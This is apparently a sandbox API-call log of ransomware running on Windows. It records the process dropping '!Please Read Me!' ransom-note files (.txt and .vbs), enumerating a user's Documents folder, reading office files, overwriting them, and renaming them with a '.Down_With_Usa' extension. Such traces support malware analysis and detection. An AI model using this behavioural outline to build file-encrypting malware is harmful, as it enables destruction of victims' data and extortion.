[0119.923] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x6a
[0119.923] GetFullPathNameW (in: lpFileName="!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x48
[0119.924] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\!Please Read Me!.txt.Down_With_Usa", lpFindFileData=0x2eb580 | out: lpFindFileData=0x2eb580*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
[0119.924] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb830) returned 1
[0119.924] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb7f0) returned 1
[0119.928] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\!Please Read Me!.txt", nBufferLength=0x105, lpBuffer=0x2eb130, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\!Please Read Me!.txt", lpFilePart=0x0) returned 0x5c
[0119.928] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb610) returned 1
[0119.928] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\!Please Read Me!.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\c27hlfzkowe\\!please read me!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x3a8
[0119.929] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb580) returned 1
[0119.930] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\!Please Read Me!.vbs", nBufferLength=0x105, lpBuffer=0x2eb2d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\!Please Read Me!.vbs", lpFilePart=0x0) returned 0x5c
[0119.930] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb7b0) returned 1
[0119.930] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\!Please Read Me!.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\c27hlfzkowe\\!please read me!.vbs"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x3a8
[0119.931] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb720) returned 1
[0119.932] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb580) returned 1
[0119.932] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6", nBufferLength=0x105, lpBuffer=0x2eb070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6", lpFilePart=0x0) returned 0x4b
[0119.932] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\", nBufferLength=0x105, lpBuffer=0x2eb010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\", lpFilePart=0x0) returned 0x4c
[0119.932] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\*", lpFindFileData=0x2eb220 | out: lpFindFileData=0x2eb220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9b5426f0, ftCreationTime.dwHighDateTime=0x1d5e267, ftLastAccessTime.dwLowDateTime=0x94524500, ftLastAccessTime.dwHighDateTime=0x1d5e7c9, ftLastWriteTime.dwLowDateTime=0x94524500, ftLastWriteTime.dwHighDateTime=0x1d5e7c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ac18610
[0119.932] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9b5426f0, ftCreationTime.dwHighDateTime=0x1d5e267, ftLastAccessTime.dwLowDateTime=0x94524500, ftLastAccessTime.dwHighDateTime=0x1d5e7c9, ftLastWriteTime.dwLowDateTime=0x94524500, ftLastWriteTime.dwHighDateTime=0x1d5e7c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0119.932] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa31edbb0, ftCreationTime.dwHighDateTime=0x1d5d866, ftLastAccessTime.dwLowDateTime=0xf1e9a200, ftLastAccessTime.dwHighDateTime=0x1d5dad4, ftLastWriteTime.dwLowDateTime=0xf1e9a200, ftLastWriteTime.dwHighDateTime=0x1d5dad4, nFileSizeHigh=0x0, nFileSizeLow=0x52ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="5kJHMmedtx7BqkH.odt", cAlternateFileName="5KJHMM~1.ODT")) returned 1
[0119.932] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2de72450, ftCreationTime.dwHighDateTime=0x1d5dc68, ftLastAccessTime.dwLowDateTime=0x20c15f0, ftLastAccessTime.dwHighDateTime=0x1d5e282, ftLastWriteTime.dwLowDateTime=0x20c15f0, ftLastWriteTime.dwHighDateTime=0x1d5e282, nFileSizeHigh=0x0, nFileSizeLow=0x12f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="b13uruFgisEKP4K.xlsx", cAlternateFileName="B13URU~1.XLS")) returned 1
[0119.932] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91e918a0, ftCreationTime.dwHighDateTime=0x1d5e1f4, ftLastAccessTime.dwLowDateTime=0x68385980, ftLastAccessTime.dwHighDateTime=0x1d5e159, ftLastWriteTime.dwLowDateTime=0x68385980, ftLastWriteTime.dwHighDateTime=0x1d5e159, nFileSizeHigh=0x0, nFileSizeLow=0x160db, dwReserved0=0x0, dwReserved1=0x0, cFileName="bH6HfFjZp.xls", cAlternateFileName="BH6HFF~1.XLS")) returned 1
[0119.932] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbdc96760, ftCreationTime.dwHighDateTime=0x1d5e1de, ftLastAccessTime.dwLowDateTime=0x3447eec0, ftLastAccessTime.dwHighDateTime=0x1d5e18f, ftLastWriteTime.dwLowDateTime=0x3447eec0, ftLastWriteTime.dwHighDateTime=0x1d5e18f, nFileSizeHigh=0x0, nFileSizeLow=0xebce, dwReserved0=0x0, dwReserved1=0x0, cFileName="eGDfGxmzyS.ods", cAlternateFileName="EGDFGX~1.ODS")) returned 1
[0119.932] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6db37630, ftCreationTime.dwHighDateTime=0x1d5d94b, ftLastAccessTime.dwLowDateTime=0x94d26bc0, ftLastAccessTime.dwHighDateTime=0x1d5e4fb, ftLastWriteTime.dwLowDateTime=0x94d26bc0, ftLastWriteTime.dwHighDateTime=0x1d5e4fb, nFileSizeHigh=0x0, nFileSizeLow=0xfb4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="JGG6q99oOOZH.pptx", cAlternateFileName="JGG6Q9~1.PPT")) returned 1
[0119.933] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a992f60, ftCreationTime.dwHighDateTime=0x1d5e758, ftLastAccessTime.dwLowDateTime=0x570d71e0, ftLastAccessTime.dwHighDateTime=0x1d5e5c3, ftLastWriteTime.dwLowDateTime=0x570d71e0, ftLastWriteTime.dwHighDateTime=0x1d5e5c3, nFileSizeHigh=0x0, nFileSizeLow=0x105a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rtjo9K.odt", cAlternateFileName="")) returned 1
[0119.933] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11749d90, ftCreationTime.dwHighDateTime=0x1d5de9b, ftLastAccessTime.dwLowDateTime=0x156a1a70, ftLastAccessTime.dwHighDateTime=0x1d5df3a, ftLastWriteTime.dwLowDateTime=0x156a1a70, ftLastWriteTime.dwHighDateTime=0x1d5df3a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WoU9HuR3", cAlternateFileName="")) returned 1
[0119.933] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11749d90, ftCreationTime.dwHighDateTime=0x1d5de9b, ftLastAccessTime.dwLowDateTime=0x156a1a70, ftLastAccessTime.dwHighDateTime=0x1d5df3a, ftLastWriteTime.dwLowDateTime=0x156a1a70, ftLastWriteTime.dwHighDateTime=0x1d5df3a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WoU9HuR3", cAlternateFileName="")) returned 0
[0119.933] FindClose (in: hFindFile=0x1ac18610 | out: hFindFile=0x1ac18610) returned 1
[0119.933] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb4d0) returned 1
[0119.933] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb490) returned 1
[0119.933] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb580) returned 1
[0119.933] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6", nBufferLength=0x105, lpBuffer=0x2eb070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6", lpFilePart=0x0) returned 0x4b
[0119.933] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\", nBufferLength=0x105, lpBuffer=0x2eb010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\", lpFilePart=0x0) returned 0x4c
[0119.933] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\*", lpFindFileData=0x2eb220 | out: lpFindFileData=0x2eb220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9b5426f0, ftCreationTime.dwHighDateTime=0x1d5e267, ftLastAccessTime.dwLowDateTime=0x94524500, ftLastAccessTime.dwHighDateTime=0x1d5e7c9, ftLastWriteTime.dwLowDateTime=0x94524500, ftLastWriteTime.dwHighDateTime=0x1d5e7c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ac18610
[0119.933] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9b5426f0, ftCreationTime.dwHighDateTime=0x1d5e267, ftLastAccessTime.dwLowDateTime=0x94524500, ftLastAccessTime.dwHighDateTime=0x1d5e7c9, ftLastWriteTime.dwLowDateTime=0x94524500, ftLastWriteTime.dwHighDateTime=0x1d5e7c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0119.934] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa31edbb0, ftCreationTime.dwHighDateTime=0x1d5d866, ftLastAccessTime.dwLowDateTime=0xf1e9a200, ftLastAccessTime.dwHighDateTime=0x1d5dad4, ftLastWriteTime.dwLowDateTime=0xf1e9a200, ftLastWriteTime.dwHighDateTime=0x1d5dad4, nFileSizeHigh=0x0, nFileSizeLow=0x52ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="5kJHMmedtx7BqkH.odt", cAlternateFileName="5KJHMM~1.ODT")) returned 1
[0119.934] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2de72450, ftCreationTime.dwHighDateTime=0x1d5dc68, ftLastAccessTime.dwLowDateTime=0x20c15f0, ftLastAccessTime.dwHighDateTime=0x1d5e282, ftLastWriteTime.dwLowDateTime=0x20c15f0, ftLastWriteTime.dwHighDateTime=0x1d5e282, nFileSizeHigh=0x0, nFileSizeLow=0x12f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="b13uruFgisEKP4K.xlsx", cAlternateFileName="B13URU~1.XLS")) returned 1
[0119.934] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91e918a0, ftCreationTime.dwHighDateTime=0x1d5e1f4, ftLastAccessTime.dwLowDateTime=0x68385980, ftLastAccessTime.dwHighDateTime=0x1d5e159, ftLastWriteTime.dwLowDateTime=0x68385980, ftLastWriteTime.dwHighDateTime=0x1d5e159, nFileSizeHigh=0x0, nFileSizeLow=0x160db, dwReserved0=0x0, dwReserved1=0x0, cFileName="bH6HfFjZp.xls", cAlternateFileName="BH6HFF~1.XLS")) returned 1
[0119.934] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbdc96760, ftCreationTime.dwHighDateTime=0x1d5e1de, ftLastAccessTime.dwLowDateTime=0x3447eec0, ftLastAccessTime.dwHighDateTime=0x1d5e18f, ftLastWriteTime.dwLowDateTime=0x3447eec0, ftLastWriteTime.dwHighDateTime=0x1d5e18f, nFileSizeHigh=0x0, nFileSizeLow=0xebce, dwReserved0=0x0, dwReserved1=0x0, cFileName="eGDfGxmzyS.ods", cAlternateFileName="EGDFGX~1.ODS")) returned 1
[0119.934] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6db37630, ftCreationTime.dwHighDateTime=0x1d5d94b, ftLastAccessTime.dwLowDateTime=0x94d26bc0, ftLastAccessTime.dwHighDateTime=0x1d5e4fb, ftLastWriteTime.dwLowDateTime=0x94d26bc0, ftLastWriteTime.dwHighDateTime=0x1d5e4fb, nFileSizeHigh=0x0, nFileSizeLow=0xfb4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="JGG6q99oOOZH.pptx", cAlternateFileName="JGG6Q9~1.PPT")) returned 1
[0119.934] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a992f60, ftCreationTime.dwHighDateTime=0x1d5e758, ftLastAccessTime.dwLowDateTime=0x570d71e0, ftLastAccessTime.dwHighDateTime=0x1d5e5c3, ftLastWriteTime.dwLowDateTime=0x570d71e0, ftLastWriteTime.dwHighDateTime=0x1d5e5c3, nFileSizeHigh=0x0, nFileSizeLow=0x105a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rtjo9K.odt", cAlternateFileName="")) returned 1
[0119.934] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11749d90, ftCreationTime.dwHighDateTime=0x1d5de9b, ftLastAccessTime.dwLowDateTime=0x156a1a70, ftLastAccessTime.dwHighDateTime=0x1d5df3a, ftLastWriteTime.dwLowDateTime=0x156a1a70, ftLastWriteTime.dwHighDateTime=0x1d5df3a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WoU9HuR3", cAlternateFileName="")) returned 1
[0119.934] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
[0119.934] FindClose (in: hFindFile=0x1ac18610 | out: hFindFile=0x1ac18610) returned 1
[0119.934] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb4d0) returned 1
[0119.934] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb490) returned 1
[0119.934] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\5kJHMmedtx7BqkH.odt", nBufferLength=0x105, lpBuffer=0x2eadb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\5kJHMmedtx7BqkH.odt", lpFilePart=0x0) returned 0x5f
[0119.934] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb290) returned 1
[0119.935] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\5kJHMmedtx7BqkH.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\lx_ai0tv5ni-wv6\\5kjhmmedtx7bqkh.odt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0119.935] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb200) returned 1
[0119.935] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2eb428 | out: lpFileSizeHigh=0x2eb428*=0x0) returned 0x52ef
[0119.935] ReadFile (in: hFile=0x3a8, lpBuffer=0x27a6f08, nNumberOfBytesToRead=0x52ef, lpNumberOfBytesRead=0x2eb358, lpOverlapped=0x0 | out: lpBuffer=0x27a6f08*, lpNumberOfBytesRead=0x2eb358*=0x52ef, lpOverlapped=0x0) returned 1
[0119.975] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\5kJHMmedtx7BqkH.odt", nBufferLength=0x105, lpBuffer=0x2eadc0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\5kJHMmedtx7BqkH.odt", lpFilePart=0x0) returned 0x5f
[0119.975] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb2a0) returned 1
[0119.975] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\5kJHMmedtx7BqkH.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\lx_ai0tv5ni-wv6\\5kjhmmedtx7bqkh.odt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0119.977] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb210) returned 1
[0119.978] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\5kJHMmedtx7BqkH.odt", nBufferLength=0x105, lpBuffer=0x2eaf60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\5kJHMmedtx7BqkH.odt", lpFilePart=0x0) returned 0x5f
[0119.978] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\5kJHMmedtx7BqkH.odt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eaf60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\5kJHMmedtx7BqkH.odt.Down_With_Usa", lpFilePart=0x0) returned 0x6d
[0119.978] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb3a0) returned 1
[0119.978] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\5kJHMmedtx7BqkH.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\lx_ai0tv5ni-wv6\\5kjhmmedtx7bqkh.odt"), fInfoLevelId=0x0, lpFileInformation=0x2eb480 | out: lpFileInformation=0x2eb480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa31edbb0, ftCreationTime.dwHighDateTime=0x1d5d866, ftLastAccessTime.dwLowDateTime=0xf1e9a200, ftLastAccessTime.dwHighDateTime=0x1d5dad4, ftLastWriteTime.dwLowDateTime=0x23fab040, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x52f0)) returned 1
[0119.979] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb360) returned 1
[0119.979] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\5kJHMmedtx7BqkH.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\lx_ai0tv5ni-wv6\\5kjhmmedtx7bqkh.odt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\5kJHMmedtx7BqkH.odt.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\lx_ai0tv5ni-wv6\\5kjhmmedtx7bqkh.odt.down_with_usa")) returned 1
[0119.980] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\b13uruFgisEKP4K.xlsx", nBufferLength=0x105, lpBuffer=0x2eadb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\b13uruFgisEKP4K.xlsx", lpFilePart=0x0) returned 0x60
[0119.980] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb290) returned 1
[0119.980] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\b13uruFgisEKP4K.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\lx_ai0tv5ni-wv6\\b13urufgisekp4k.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0119.980] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb200) returned 1
[0119.980] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2eb428 | out: lpFileSizeHigh=0x2eb428*=0x0) returned 0x12f6
[0119.980] ReadFile (in: hFile=0x3a8, lpBuffer=0x26b0728, nNumberOfBytesToRead=0x12f6, lpNumberOfBytesRead=0x2eb358, lpOverlapped=0x0 | out: lpBuffer=0x26b0728*, lpNumberOfBytesRead=0x2eb358*=0x12f6, lpOverlapped=0x0) returned 1
[0120.012] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\b13uruFgisEKP4K.xlsx", nBufferLength=0x105, lpBuffer=0x2eadc0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\b13uruFgisEKP4K.xlsx", lpFilePart=0x0) returned 0x60
[0120.012] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb2a0) returned 1
[0120.012] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\b13uruFgisEKP4K.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\lx_ai0tv5ni-wv6\\b13urufgisekp4k.xlsx"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0120.014] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb210) returned 1
[0120.016] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\b13uruFgisEKP4K.xlsx", nBufferLength=0x105, lpBuffer=0x2eaf60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\b13uruFgisEKP4K.xlsx", lpFilePart=0x0) returned 0x60
